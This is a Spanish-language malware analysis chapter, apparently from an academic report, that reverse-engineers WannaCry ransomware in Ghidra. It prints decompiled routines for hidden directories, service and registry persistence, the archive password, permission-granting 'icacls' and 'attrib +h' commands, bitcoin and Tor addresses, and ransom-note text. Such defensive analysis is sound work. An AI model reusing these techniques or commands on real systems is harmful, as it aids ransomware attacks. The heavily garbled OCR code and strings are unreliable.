Haciendo uso de estas, tal y como se ve en la figura 10.28 se buscan sus referencias y

se renombran los nombres de las funciones para analizar posteriormente.

RANSOMWARE
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0040f440 115p7UMMNgojl pMvkpHijcRAfINXELrLn  "115p7UMMngojl pMvkpHijcRdfINXj6LrLA"  ds
0040f484 12t9YDPgwueZ9NyMgwS1 9p7AABIS|rE... "12t8YDPgwueZSNyMgwS19p7AABIs)r.. ds
0040f488 13aMAVW2dhxYgXeQepoHkHSQuyEMg... "13AM4AwW2dhxYgXeQepoHkHSQuyBEM... ds
0040f4b4 Global\MsWinZonesCacheCounterMut... "GlobalMMsWinZonesCacheCounterMu,,, ds
0040f4d8 asks "tasks
0040f4e8 TaskStart "TaskStart" ds
0040f4f4 townry "townry" ds
0040fafc icacls . fgrant Everyone:F /T /C /Q “icacls . /grant Everyone:F /T /C JQ" ds
0040f520 attrib +h . "attrib +h " ds
0040f52c Whery@2ol7 "WNery@ 2ol 7" ds
0040f55¢ GetMativeSysteminfo "GetMativeSysteminfo” ds
0040f588 char[l6]
0040f598 incompatible version "incompatible version® ds
0040f5b0 buffer error "buffer error" ds
0040f5c0 insufficient memory "insufficient memory" ds
0040f5d4 data error "data error” ds
0040f5e0 stream error "stream error" ds
0040f5f0 file error “file error” ds
0040f5fc stream end "stream end" ds
Filter:

Decompile: bitcoinAddr... * | = Symbol Tree = | ¥ Defined Strings =
P Y El

undefined

undefined4
undefined4
undefined4
undefinedl
undefinedl

00401e9
00401e0f
00401eal
0R401eay
0040lead
op40leaf
00401eb0
00401eb7
00401ebe
00401lecs

55
8h
gl
8d
Ga
50
c7
c7
c7
el

Figura 10.28: Referencias a las direcciones de cadenas de Bitcoin.

ec

ec 18 ..
85 e8 ..

oL

45 f4 ...
45 f8 ...
45 fc ..
36 fl ..

Figura 10.27: Cadenas de texto interesantes.

K K K K S SR
: FUNCTION :
K K K K S SR

undefined _ stdcall bitcoinAddressesFunction(void)

AL:1 <RETURN=>
Stack[-0x8]:4 Tlocal_8 ¥REF[1]:
Stack[-0xc]l:4 Tocal_c ¥REF[1]:
Stack [-0x10]:4 Tocal_l10 XREF[1]:
Stack [-0x26a... local_26a XREF[1]: 00401edc (*)
Stack[-0x3lc... local_3lc XREF[2] : 00401ea7(*),
00401eec (*)
bitcoinAddressesFunction ¥REF[1]: FUN_00401fe7: 004020d5(c)
PUSH EEFP
MOV
SUB 5P
LEA Eax=>local_3lc, [EBP + Oxfffffces]
PUSH Oxl
PUSH EAX
Moy dword ptr [EEF + local 101, s_l3AM4Ww2dhxYgXeQ..
Moy dword ptr [EEF + local_cl, s_12tSYDPgwueZSNyMg...
Moy dword ptr [EEF + local 81, s_115p7UMMngo]lpMuk...
CALL FUN_00401000
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Analisis de “winMain” - Primera parte

Se pasa ahora a analizar el “winMain” (fig. 10.29).

Decompile: wWinMain - (1831.bin)

fint wWinMain (HINSTANCE hInstance,HINSTANCE hPrevInstance,PWSTR pCmdLine,int nCmdShow)

{
bool createDirRes;
int *argc;
char *¥*arqy;
int isError:
undefined3 extraout_var;
DWORD taskscheExeFileAttributes;
char #pcVarl;
short *decryptedData;
13| code *pcVarz;
14 | undefinedd *puvar3;
15| cls_Gx4081d8 mainClass;
16 | char filename [520];
17 | wint decryptedDataPtr;
12 | char **strSlashIPtr;

= = =
B H D000 = O N W k)

19

20 filename[Q] = DAT 0040f910;

21 | puvar3 = (undefinedd *) (filename + 1);

22 | for (isError = 0x81; isError != 0; isError = isError + -1) {
23 ¥puVars = 0;

24 puVar3 = puVar3 + 1;

25 1

26 | *(undefined2 *)puvar3 = 0;

27 | *(undefined #*){{int)puVar3 + 2} = O;

28 /¥ GetModuleFileMamed(module, filename, size) */
29 | GetModuleFileMNameA( (HMODULE)Ox0O, filename, Dx208) ;

30| randomStrGenerator((CHAR *)&LpMultiByteStr 0040f8ac);

21| argc = (int *) _p_ argc():

32 /* Comprobar que se obtuvo 1 argumento #*/
23| if (*argc == 2) {

34 strslashIPtr = & Str2 00407538,

35 argv = (char **¥*) p  argv();

36 S stremp(argv[l], "/1i") */

37 isError = stremp{(*argv) [1], (char *)str5lashIPtr);

38 if ((isError == 0) &&

39 {createDirRes = createHiddenDirInPathandCd((wchar t *)0x0),
40 CONCAT31 (extraout_var,createDirRes) != 0)) {

41 /% Se copia A sl mismo como tasksche.exe #/

Figura 10.29: Funcion “winMain” de “1831.bin”.

Lo primero que se analiza es un generador de Strings basado en el nombre del orde-

nador de la victima.
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randomStrGenerator - (1831 .bin)

= EE AR L WL_ Lo [ T

15 | DWORD computeriameSize;
16| wuint local_8;

18 computerMame = DAT 0040T874;

19 randomGenerator = 99;

20 | computerMameSize = 399;

21 | puvar2 = local_19a;

22| while (randomGenerator = 0) {
randomGenerator = randomGenerator + -1;
tpuVar2 = 0;

puVar2 = puvar2 + 1;

[ ) I S #Y ]

*(undefined2 *)puvar2 = 0;
GetComputeriameW( (LPWSTR) &computeriame, &computeriamesSize)
local 8 = @;

_Seed = 1;

W0 00~

/¥ Returns the length of the C wide string wes. */
computerMamelength = wcslen((wchar_t *)&computeriame);
if (computerNameLength '= 0) {
computeriamePtr = &computeriame;
do {
_Seed = _Seed * *computerNamePtr;
local & = local 8 + 1;
computeriamePtr = computerMamePtr + 1;
computeriameLength = weslen((wchar_t #)&computerMame);
} while (local_8 < computerNameLength);

)

W0~ M

h

o P P D G0 G L) ) L D) D) W RS RS R R R ORI R
(=~ oo L = 2]

/¥ Usar el nombre del ordenador como semilla del generador aleatorio y devolver
43 la cadena de texto */

44 | srand(_Seed);

45 randomGenerator = rand();

46 idx = ©;

47 randomGenerator2 = randomGenerator % 8 + 8;

48 1f (0 < randomGenerator2) {

49 do {

50 ivarl = rand();

51 randomStroutputlidx] = (char)(iVarl % Oxla) + 'a';
52 idx = idx + 1;

53 } while (idx < randomGeneratorz2);

sS4}

=5 | while (idx < randomGenerator % 2 + Oxb) {

56 randomGenerator2 = rand():

57 randomStroutput(idx] = (char)(randomGenerator2 % 10} + '0';
58 idx = idx + 1;

s9 | }

50 | randomStroutput[idx] = "\0";

51 return;

62 |}

Figura 10.30: Generador de Strings basado en el ordenador de la victima.

Para obtener un decompilado legible, sera necesario en ocasiones especificar el tamano
de las variables conocidas (fig. 10.31). Ademds, serd necesario recrear las Strings, pues
en muchas ocasiones Ghidra no es capaz de recomponerlas o identificar correctamente su

tipo.



Ransomware

127

TAUILE T LIEY Uy L LI L puvdl 8+ 2y = W

/¥ GetModuleFileNameA(module, filename, size) */
GetModuleFileNamea ( (HMODULE)Ox0, &Ffilzname, 0x208);

FUN_0Q40 EloMultiByte po40f8a
piVan .
if (# Data Type Chooser Dialog x
—S charrox2081 |
piM
iva
if [ 0K ] [ Cancel J
(4

OMNCAT31

Figura 10.31: Especificar tamafio de las variables conocidas.

Para corregir las Strings se hara uso de la funcién clear de Ghidra, y posteriormente

se deberd seleccionar el tipo correcto (String unicode, CString, etc.).

oo4of3fe
0040f3fc
0040T400
0040404
oodof4o8
0040409
0040f40a
0040f40b

25
5c
Ge
65
¢t]
¢le]
¢t]
¢e]

EEEEEEEEEESEE R LR SR EE RS RS LR EEE RS RS LS EEE LS EESE SR EEEEE L L
¥ _Count parameter of swprintf d

_Count_oo4of3fs KREF[1]: createDirwithattributesInPath:eo...

00 73 00 addr Rsrc_XIA_80a_409[3276597]
00 49 00 addr Rsrc_XIA
00 74 00 addr Rsrc_XIA_8
00 6c 0O addr Rsrc_XIA 80a_

77 0ch

77 och

77 0ch

77 0ch

Figura 10.32: String no detectada correctamente.

Clear X
Clear Options:
] symbols
@ Comments (does not affect automatic comments)
[/] Properties
[/] code

User-defined References
Analysis References
Import References
Default References

[+] Functions

[¥/] Registers

] Equates

[+/] Bookmarks

[ Select all J l Deselect All J

[ oK ] [ cancel J

Figura 10.33: Uso de la funcién “Clear”.

RANSOMWARE



RANSOMWARE

Ransomware 128

A partir de ahi, se comienzan a ver muchas mas Strings interesantes. Como pueden

ser directorios o nombres de ficheros.

u_%s\Intel_oo40f3fs XREF[1]: createDirWithAttributesInPath: 00...
oo4of3fe 25 00 73 .. unicode u"%ss A\ Intel”
0o4of40a 00 7 oeh
oo4ofaoh oo 7 och

u_%s\ProgramData_0o40f40c XREF[1]: createDirWithAttributesInPath:00...
po4ef40c 25 00 73 .. unicode u"%s\\ProgramData"”
oo4of42a 00 77 0eh
oo4of4zh oo 7 oeh

Figura 10.34: Directorios descubiertos al convertir manualmente las Strings.

La siguiente funcién interesante, renombrada como “createHiddenDirInPath”, se en-

carga de crear directorios ocultos y cambiar el directorio de trabajo a ellos.

Decompile: ateHiddenDirinPath - (1831.bin)
1) WITLLE \CTEdLEVLTRE r=uri
37 createlirRes = createDirRes + -1;
38 *puVarl = 0;
39 puVarl = puVarl + 1;
40 }
41 | *(undefined2 *)puvarl = 0;
42| MultiByteTowideChar (0,0, (LPCSTR)&randomStr, -1, (LPWSTRY&randomStrn, 99) ;
43 /¥ Co/indows */
44| GetWindowsDirectoryW((LPWSTR)&stackOxfffffb24, 0xl04);
45 /¥ Ci/Windows/ProgramData */
46 | swprintf(&programData, (size_t)u_%s\ProgramData_0040f40c, (wchar_t *)&stackOxfffffb24);
47 | fileAttributes = GetFileAttributesw(&programData);
48 | if ((fileAttributes == Oxffffffff) ||
49 (createDirRes = createDirWithAttributesaAndCd (&programData, (LPCWSTR)&randomStrw, cwdafter),
50 createDirRes == 0)) {
51 /% Retry cd to C:/Windows/intel #/
52 swprintf (&programData, (size_t)u_%siIntel_0040T3f8, (wchar_t #)&stackOxfffffb24);
53 createlirRes = createbirWithAttributesaAndCd (&programData, (LPCWSTR)&randomStrw, cwdAfter);
54 if ((createDirRes == 0) &&
55 (createDirRes = createDirWithAttributesAndCd
56 ((LPCWSTR) &stackOxfffffh24, (LPCWSTR) &randomStrin, cwdAfier),
57 createDirRes == 0)) {
8 GetTempPathW(0x104, &programDatal;
59 findDrive = wesrchri(&programData,L'\\');
60 if (findDrive != (wchar_t *)ox0) {
61 findDrive = wesrchr(&programData, L' \\');
52 #findDrive = L'\0";
63 b
54 createDirRes = createbirWithAttributesandCd (&programData, (LPCWSTR)&randomStrn, cwdafter);
55 return createDirRes != 0;
l&ls3 }
57 }
58 return true;
59 |}

Figura 10.35: Crea directorio oculto.

A continuacion (fig. 10.36), se puede observar como se crea el servicio ‘“taskche.exe”
en mutex. En esta funcién, primero se obtiene el camino hasta ‘“tasksche.exe”, se crea el

servicio y luego se ejecuta el proceso en exclusiéon mutua.
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Decompile: createServiceOnMutex - (1831.bin}
il
2 lundefinedd createServiceOnMutex{void)
{
int res;

undefinedd *puVarl;
CHAR pathToTaskshe;
undefined4 local 20b;

W oo =l LN s

10 | pathToTaskshe = DAT_0040fS910;
11| puvarl = &local_20h;

12 for (res = 0x8l; res !=0; res = res + -1) 1
13 ¥puVarl = 0;

14 pu¥arl = puVarl + 1;

15 T

16 | *{undefined2 *jpuvarl = O;

17 | *{undefined *)({int)puVarl + 2) = ©;

15 | GetFullPathNameA(s_tasksche.exe 0040f4d8, 0x208, &pathToTaskshe, (LPSTR *)0x0);
19| res = createAndInitService (&pathToTaskshel;

20| if ((res != 0} && (res = getTaskcheMutex(Ox3c), res != 0)) {

21 return 1;

22 1

23| res = runCommand (&pathToTaskshe, 0, (LPDWORD) 0x0) ;

24| if ((res != 0) && (res = getTaskcheMutex(Ox3c), res !=0)) {

25 return 1;

26 T
27 return O;
2a |}

Figura 10.36: Creacién del servicio en exclusiéon mutua.

En la primera funcién (fig. 10.37), se observa como se crea un servicio (si no existe

todavia) ejecutando entonces “cmd /c taskche.exe”. Si existe se comienza.

RANSOMWARE
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- (1831.bin)

= Ll 1oedat_T
10 | SC_HANDLE serviceManager;
11
12 | local_c = 0;
13| serviceManager = OpenSCManagerA((LPCSTR)Ox0, (LPCSTR)Ox0, 0xfo03f);
14| 1f (serviceManager == (SC_HANDLE)Ox0) {
15 res = 0;
16 1
17| else {
18 randomService = OpenServicel(serviceManager, (LPCSTR)&randomStr, GxfOL1ff);
19 /¥ 51 el servicio ya existe.., */
20 if (randomService == (SC_HANDLE)OxO) {
21 sprintf(local_410,s5_cmd.exe_/c_"%s"_0040F42c,pathToSche);
22 hService = CreateServiceA(serviceManager, (LPCSTR)&randonStr, (LPCSTR)&randonStr, OxfOLTT, 0x10, 2,
23 1,local_410, (LPCSTR)OxO, (LPOWORD) 0x0, (LPCSTR) 0x0, (LPCSTR) Ox0,
24 {LPCSTR)Ox0);
25 res = local_c;
26 if (hService != (SC_HANDLE)GxO) {
27 StartServiceA(hService, 0, (LPCSTR *)0x0);
28 CloseServiceHandle (hService);
29 local ¢ = 1;
Elt] res = local_c;
31 }
32 1
33 else {
34 /¥ Empleza servicio ya existente */
35 StartServiceA(randomService, O, (LPCSTR #)0x0);
36 CloseServiceHandle (randomService];
37 res = 1;
38 b
39 CloseServiceHandle (serviceManager);
Llel 1
41 return res;
42 |}
43

Figura 10.37: Crea e inicia servicio.

La funcién de obtener mutex es sencilla, solamente trata de obtener exclusién mutua

con N reintentos.
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Decompile: getTaskcheMutex - (1831.bin)

1

2 |int __cdecl getTaskcheMutex(int retryNTimes)

3

49

5 HAMDLE mutex;

6 int 1i;

7| char local 82 [100];

2

9| sprintf({local_68,s %s%d_0040fdac,s_Global\MsWinZonesCacheCounterMut_G040f4b4d, 0);
10 1=0;

11| if (0 = retryNTimes) {

12 do {

13 mutex = OpenMutexA(0x100000,1,local_88);

14 /% 51 consigue el mutex, devuelve 1 #/

15 if (mutex != (HANDLE)Ox0) {

16 CloseHandle (mutex);

17 return 1;

18 b

19 Sleep (1000);

20 1=1+1;

21 S* Lo reintenta N veces */

22 T while (i < retryNTimes);

23 }

24 return O;

25 |}

Figura 10.38: Obtencién de exclusiéon mutua.
De esta forma, quedaria analizada la primera parte del método winMain para el binario

1831.
28 /¥ GetModuleFileNamed(module, filename, size) */
20 | GetModuleFileNameA( (HMODULE)GxO, filename, 0x208);
20 | randomStrGenerator((CHAR *)&LpMultiByteStr 0040f8ac);
21| argc = (int *) _p_ argel);
32 /% Comprobar que se obtuve 1 argumento */
23| if (*argc == 2) {
34 strslashIPtr = & Str2 0040f538;
35 argv = (char **%¥) _p  argv();
36 ¥ stremp(argu[l], "/1i") #4
37 i1sError = stremp ((*argv) [11, (char *)strSlashIPtr):
38 if ((isError == 0) &&
30 {createDirRes = createHiddenDirInPathandCd((wchar_t *)0x0),
40 CONCAT31 (extraout_var,createDirRes) != 0)) {
41 /% Se copla a s1 mismo como tasksche. exe #*/
42 CopyFileA(filename,s tasksche.exe 0040f4d8,0);
43 taskscheExeFileattributes = GetFileAttributesa(s tasksche. exe 0040f4d8)
44 if ((taskscheExeFileAttributes != Oxffffffff) &&
45 (isError = creafteServiceOnMutex (), isError != 0)) {
45 return O;
47 K

Figura 10.39: Primera parte de winMain para 1831.bin.
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Analisis de “winMain” - Segunda parte

Para esta parte serd necesario hacer un inciso, pues el andlisis es mdas complejo y se

requerirdan de algunas herramientas extras.

Herramientas extras para el andlisis

A pesar de que Ghidra sea una increible herramienta para el andlisis estdtico, su
libreria de firmas es escasa, y la deteccién de clases es a menudo no muy buena. Para ello
se hard uso del framework “Pharos”.

Pharos es un framework para el andlisis estatico de binarios. Este tiene interesantes
herramientas, en este caso, serd de gran utilidad la herramienta “OOAnalyzer”, pues nos

permitird recrear objetos y clases.

‘= README.md

Pharos Static Binary Analysis Framework

The Pharos static binary analysis framework is a project of the Software Engineering Institute at Carnegie Mellon
University. The framework is designed o facilitate the automated analysis of binary programs. It uses the ROSE
compiler infrastructure developed by Lawrence Livermore National Laboratory for disassembly, control flow
analysis, instruction semantics, and more. This software is released under a BSD license.

The current distribution is a substantial update to the previous version, and adds a variety of features including
improvements to the OOAnalyzer tool, experimental path analysis code, partitioner improvements, multi-threading,
and many other smaller features.

The Pharos framework is a research project, and the code is undergoing active development. No warranties of
fitness for any purpose are provided. While this release provides build instructions, unit tests, and some
documentation, much work remains to be done. We've tested a few select build configurations, but we have not
actively tested the portability of the source code. See the installation instructions for more details.

Since the primary objective for releasing this code is to provide transparency into our research and stimulate
conversation with other binary static analysis researchers, please feel free to contact Cory Cohen cic@cert.org with
questions you may have about this work. | may be unable to respond in a timely manner, but | will do my best.

Figura 10.40: “Pharos Static Binary Analysis Framework”.

Para poder usar utilizar “Pharos” en Ghidra, utilizaremos “Kaiju”, la implementacion

del framework anterior para Ghidra.
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‘= README.md

CERT Kaiju Binary Analysis Framework for GHIDRA

CERT Kaiju is a collection of binary analysis tools for Ghidra.

This is a Ghidra/Java implementation of some features of the CERT Pharos Binary Analysis Framework, particularly
the function hashing and malware analysis tools, but is expected to grow new tools and capabilities over time.

As this is a new effort, this implementation does not yet have full feature parity with the original C++ implementation
based on ROSE; however, the move to Java and Ghidra has actually enabled some new features not available in
the original framework -- notably, improved handling of non-x86 architectures. Since some significant re-architecting
of the framework and tools is taking place, and the move to Java and Ghidra enables different capabilities than the
C++ implementation, the decision was made to utilize new branding such that there would be less confusion
between implementations when discussing the different tools and capabilities.

Our intention for the near future is to maintain both the original Pharos framework as well as Kaiju, side-by-side,
since both can provide unique features and capabilities.

CAVEAT: As a prototype, there are many issues that may come up when evaluating the function hashes created by
this plugin. For example, unlike the Pharos implementation, Kaiju's function hashing module will create hashes for
very small functions (e.g., ones with a single instruction like RET causing many more unintended collisions). As
such, analytical results may vary between this plugin and Pharos fn2hash.

Figura 10.41: “CERT Kaiju Binary Analysis framework”.

Para utilizar Pharos, simplemente serd necesario utilizar Docker, y mediante los si-
guientes pardametros podemos utilizar las herramientas del framework.
$ docker pull seipharos/pharos

$ docker run --rm -it -v /dir:/dir seipharos/pharos

root@3TcbO63e5736: /¢ 0 a -] 1831.json 1831.bin
Analyzing a 1831.bin

tock partitio ok -
12 b i g io 99 basic blocks, 3 data blocks and 238 functions.

“y

complete.

Figura 10.42: Uso de OOAnalyzer del framework Pharos.

Esto analizard el binario y generara un fichero JSON que importaremos con Kaiju
a Ghidra. La instalacion de este framework se hace mediante el gestor de paquetes de

Ghidra (mediante el propio meni, Archivo >Instalar Extension).
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Al instalarse y activarse, se podrd ver un nuevo elemento en el mentd llamado Kaiju.
Aqui simplemente seleccionamos el fichero JSON exportado por Pharos y ya podremos

ver que se han detectado algunas clases en el apartado de simbolos de Ghidra.

[*=I["8 Mavigation Search Select

O0Analyzer Importer F12

- Symbol Tree

F _F FURETIONS

» @ Labels

» () cls_0x406c40
» (3 cls 0x407527
» @ cls_0x4081d8
» () cls Ox408lec
» (3 cls 0x40bc7c
(3 exception

» () type info
3 type info p/
» [={} Namespaces v

Figura 10.44: Clases detectadas con Pharos.

Analisis de “winMain” - Segunda parte

Ahora si es posible continuar con el anédlisis. Tal y como se observa en la figura 10.45,
se cambia el directorio, se modifica el registro, se extraen recursos y se ejecutan comandos.

Se analizarén al detalle estas funciones.
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T o o oo O o1 ool i
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(53]
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OE Do
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] ] ] O
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]

1
3

43

] ]
L

L

o

=

SetCurrentDirectorya(filename);
reqistrySetCwdOrQuery (1)
extractResourceWithPw( (HMODULE)Ox0, s WNcry@2ol? 0040f52c);
selectBitcoinAddress();
runCommand (s_attrib_+h_. 0040f520,0, (LPDWORD)Ox0) ;
runCommand (s_icacls_. /grant_Everyone:F_,/T_/C_0040f4fc, 0, (LPOWORD)Ox0) ;
isError = initFuncPtrs()
if (isError !=0) {
O0Analyzer::cls_0x4081d8: :cls_0Ox4081d8 (&mainClass);
isError = O0Analyzer::cls_0x4081d8::importRSAKeyAndGlobalalloc (&mainClass, (LPCSTR)Ox0,Q,0);
if (isError != 0) {
decryptedbataPtr = O;
decryptedData =
(short *#)00&nalyzer::cls 0x4081dE: :decryptTWnry
(&mainClass,s t.wnry 0040f4f4, &decryptedDataPtr)
if ({{decryptedData != (short *)0x0) &&
targc = (1nt *)loadDll(decryptedData,decryptedbataPtr), argc != (int #)0x0)) &&
(pcVar2 = (code *)callDll(argc,s _TaskStart_0040f4e8), pcVar2 != (code *)0Ox0)) {
(*pcvar2) (0,0);
1
B

O0Analyzer::cls_0x4081d8: :~cls_0x4081ld8(&mainClass);

Figura 10.45: Segunda parte de la funcién winMain para el binario 1831.bin.

En la funcién “registrySetCwd()” (fig. 10.35), se crea un valor de registro. Este es otra

forma de crear persistencia del malware. El registro modificado es:

“HKLM/SOFTWARE/usuario/ WanaCryptOr /wd”

Después de modificar el registro, se modifica el directorio actual a la ruta guardada

en el registro (fig. 10.46).
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mpile: registn wd - (1831.bin)
0 ¥
45 | #{undefined2 *)softwareSlash = 0;
46 | *{undefined *)((int)softwareSlash + 2} = O,
47 /¥ software/wannacryptor */
42 | wescat((wchar_t *)softwareStrBuff,u_WanaCryptOr_0040e034);
49| 1= 0;
S0 do {
51 if (i ==0){
52 A% HKEY_LOCAL_MACHINE */
=3 hKey = (HKEY)Ox80000002;
54 }
55 else {
56 /% HKEY_CURRENT USER */
=7 hKey = (HKEY)Ox80000001;
S8 }
59 RegCreatekeyW(hKey, (LPCWSTR) softwareStrBuff, (PHKEY)&regHandle);
60 if (regHandle != (HKEY)0Ox0) {
61 if (setRegistry == 0) {
62 local 10 = 0x207;
63 resRegValue = RegQueryValueExA(regHandle,s_wd_0040e030, (LPDWORD)Ox0, (LPDWORD)0x0, &regValue,
64 Elocal_l0o);
65 bVar3 = resRegValue == 0;
66 if (bvar3) {
67 SetCurrentCirectoryA((LPCSTR)&regValue)
68 B
69 }
70 else {
71 GetCurrentDirectoryA(Dx207, (LPSTR)&regValue);
72 cwdlLength = strlen({char *)&regValue);
73 resRegValue = RegSetValueExA(regHandle, s wd_00402030,0,1, &regValue, cwdlength + 1);
74 bVar3 = resRegValue == O;
75 }
76 RegCloseKey (regHandle);
77 if (bvarz) {
72 return 1;
79 }
20 b
=18 1=1+1;
g2 if (1 <1) 4
23 return 0;
24 1
25 |} while( true );

Figura 10.46: Crea registro.

Extracion del recurso “XIA”

A continuacién, se analiza la funcién de extracciéon del recurso nombrado como “XIA”.
En primer lugar, se deben modificar los argumentos del decompilador, pues este no es
capaz de detectar correctamente el argumento que se le pasa.

Analizandolo correctamente en la figura 10.47, se puede ver que el recurso es un archivo

.zip, y se le pasa la cadena “WNecry@2017” para descomprimirlo (fig. 10.48).
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LAB_004020b4 KREFI[1]: 004020a3(7)
004020h4 8d 85 T4 .. LEA taskscheExeFileAttributes=>filename, [EBP + Ox...
004020ba 50 PUSH taskscheExeFileAttributes ; LPCSTR 1pPathMame for SetCurre..
004026bb ff 15 d8 .. CALL dword ptr [-=KERNEL3Z.DLL::SetCurrentDirectoryA]
004020c1 63 01 PUSH Ox1
004020c3 e8 35 fO ... CALL registrySetCwdOrQuery
004020c8 c7 04 24 .. MoV dword ptr [ESP], s_WNcry@2o[l7_0040f52c
004020cf 53 PUSH EE
004020d0 e8 d6 fc .. CALL FUN_00401dab

Figura 10.47: A veces el decompilador no detecta bien los argumentos.

17 S¥ resType = "XIA" */
18 | resourceRes = FindResourceA(resModule, (LPCSTR)20S2, BDAT 0040f43c);
19 | if (((resourceRes != (HRSRC)Ox0) &&

20 (resData = LoadResource(resModule, resourceRes), resData != (HGLOBAL)OxO)) &&
21 (resLocked = LockResource (resData), resLocked != (LPVOID)Ox0)) {

22 resSize = SizeofResource(resModule, resourceRes);

-

2 [+ remnux@remnux; ~/Downloads
2

2

g RESOURCES ===

2

FILE_DFFSET CP LANG SIZE TYPE NAME

3 Ox320a4 1252 0x409 3514368 R #1831

3 Ox38chad 1252 0x409 944 VERSION #1
Eiremnux@remnux:~/Downloads$ pedump -R 1831.bin

E

3 RESOURCES ==

3

g FILE OFFSET : LANG . TYPE NAME

3 Pxleafe 252 O0x409 ‘ XIA #2058

4 Bx359728 252 0x409 : VERSION #1

4 Bx359abp 252 Gx409 ' MANIFEST #1

Figura 10.48: Recurso XIA.

El procedimiento para extraerlo es exactamente el mismo que para el recurso “1831.bin”.

Se hara uso de PEdump.
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Loy _wosig e iy

0040F4f4 74 28 77 ... ds “tonry” 17 /¥ resType = "XIA" */
oo4of4fh 00 ?? 00h 18 resourceRes = FindResourced(resModule, (LPCSTR)2058, &DAT_0040f43c);
19| if (((resourceRes != (HRSRC)Ox0) &&

s_icacls_._/grant_Everyone:F_/] 20 (resData = LoadResource (resModule, resourceRes), resData != (HGLOBAL)0x0)) &&

opdofdfc 69 63 61 ... ds "icacls . /grar 21 (resLocked = LockResource(resbata), resLocked != (LPVOID)Ox0)) {
22 resSize = SizeofResource(resModule, resourceRes);

s_attrib_+h_._ 00407520 LJZZ pivarl = (int *)FUN_004075ad(reslocked, resSize,wneryStr);
0040520 61 74 74 ... ds “attrib +h " - s

s WNcry@2ol7 0040752 @ remnux@remnux: ~/Downloads Q = = o x
0040f52c 57 4e 63 ... ds "WNcry@2ol7"
0e40fs37 00 77 ach

T —— - OFFS| NAME

* _Str2 parameter of stremp [ Ox48 4 X #2058

! 0 #1

B A A AR A - : #1

strslashl ds act resource:XIA/#2058 1831.bin > 20
oedofs3e 2f 77 2Fh / ’
0040539 69 77 6Sh 1 -
004053a 00 ?? a0h ey
004053b 00 27 ach < ‘'wannacry (copy)'

X:~/ i 1A
7 T P r ata, a 2.8 to extract

% = Symbol Tree =

Figura 10.49: Recurso XIA contrasena de extraccion.

b.wnry cownry msg r.wnry c [74].

* resT)
BsoUrce
= (HRSf
Resourt
kResoul
BSOUrCE

s.wnry twnry taskdl.exe taskse.exe UN_?G‘“
it *)0x(

& remnux@remnux: ~/Downloadsfextra

remnu 2 X:~/Downloads acted$ file *

b.wnry: data

C.WNry: data

u.wnry msg: directory

rF.Wnry: , With CRLF line terminators

S.WNry: Zip archive data, at least v1.8 to extract
executable (GUI) Intel 86386, for MS Window
executable (GUI) Intel 80386, for MS Windows

U.wnry: 2 executable (GUI) Intel 80386, fTor MS Windows

Figura 10.50: Recurso XIA - elementos extraidos.

Tal y como se observa en la figura 10.50, los ficheros tienen un tipo variado. A conti-

nuacién se muestra una tabla con los diversos ficheros y su utilidad.
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Imagen usada como fondo de pantalla tras infectar la maquina.
b.wnry

Contiene las instrucciones para pagar el ransom.

Fichero con direcciones de Bitcoin y una URL para descargar
c.wnry

el navegador Tor.

Contiene la explicacién del pago del ransomware en multitud

Carpeta “msg”

de idiomas.
r.wnry Informacion extra para el pago.
s.wnry Fichero comprimido con el navegador Tor.

DLL que realiza el comportamiento del ransomware (analizado

t.wnry
posteriormente).
taskdl.exe Ejecutable para borrar archivos con extension “.WNCRYT”
taskse.exe Ejecuta el comando pasado por pardametros.
u.wnry GUI del malware, con nombre de proceso “@WannaDecryptor@”

Cuadro 10.1: Archivos encontrados al descomprimir el recurso XIA.

Figura 10.51: Recurso XI/A - elementos extraidos - Fondo de pantalla.
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Downloads extracted nsg Q|| = ([~|| = = o X
- - - - f
m_bulgarian.wnry m_chinese m_chinese m_croatian.wnry _J
(simplified).wnry (traditional).wnry
m_spanish.wnry - SciTE - o x

File Edit Search View Tools Options Language Buffers Help
-

1 m_spanish.wnry

\par }{\rtlch\fcsl \af2 \ltrch\fcs0
\f31502\fs22\insrsid13056521\charrsid16268367
Vhichaf31502\dbch\af31505ochif31502 \hich\f31502 Sus archivos
importantes est\'el\loch\f31502 n encriptados.

\par \hich\af31s02\dbch\af31505\loch\f31502 \hich\f31502 Muchos de
sus documentos, fotos, v\'ed\hich\af31502\dbch\af31505\loch\f31502
\hich\f31502 deos, bases de datos y otros archives ya no son accesibles

m_czech.wnry

- porgue se han cifrado. Tal vez usted esty'el
\lochif31502 ocupado buscando una manera de recuperar sus archivos,
m_filipino.wnry pero no pierda su tiempo. Nadie puede recuperar sus archivos sin nuestro

servicio de descifrado.

\par

\par }{\rtlch\fcsl \af2 \ltrch\fcso
\b\f31502\fs28\insrsid13056521\charrsid16268367
\lochiaf31502\dbch\af315054hich\f31502 Vbf\loch\f31502
Plhich\af31502\dbch\af31505\ochi\f31502 uedo recuperar mis archivos?

\par }\rtlchifcsl \af2 \ltrch\fcso
- \f31502\fs22\insrsid13056521\charrsid16268367
vhich\af31502\dbch\af31505\och\f31502 Por supuesto. Le garantizamos
m_greek.wnry que puede recuperar todos sus archives de forma sequra y sencilla. Pero

no tienes tiempo suficiente.

Figura 10.52: Recurso X/A - elementos extraidos - Mensajes.

r.wnry - SciTE - o X
File Edit Search View Tools Options Language Buffers Help

1r.wnry

Q: What's wrong with my files?

A: Qoops, your important files are encrypted. It means you will not be able to access them anymor
If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!
Let's start decrypting!

Q: What do | do?

A: First, you need to pay service fees for the decryption.
Please send %s to this bitcoin address: %s

MNext, please find an application file named "%s". It is the decrypt software.
Run and follow the instructions! {(You may need to disable your antivirus for a while.)

Q: How can | trust?

A: Don't worry about decryption.
We will decrypt your files surely because nobody will trust us if we cheat users.

* |f you need our assistance, send a message by clicking =Contact Us=> on the decryptor window.

Figura 10.53: Recurso XIA - elementos extraidos - FAQ.
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: $ cat c.wnry
BCgx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion; cwwnhw|

hlz52maqm7.onion; https://c .torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

$

Figura 10.54: Recurso XIA - elementos extraidos - Direcciones de Tor.

Obtencién de direcciones de Bitcoin

El fichero “c.wnry”, es utilizado de dos formas, tanto para leer como para escribir (fig.

10.55).

Decompile: readOrWriteCWnry - (1831.bin)

2 |bool _ cdecl readOrWriteCWnry (voild #fileBuff,int mode)
4 {

5| FILE *_File;

size 1t res;

bool 1isError;
char * Mode;

10 /¥ mode == 0 -= WB

11 mode == 1 -= RB */
12| if (mode == 0) {

13 _Mode = s wh_0040e018;

14 }

15| else {

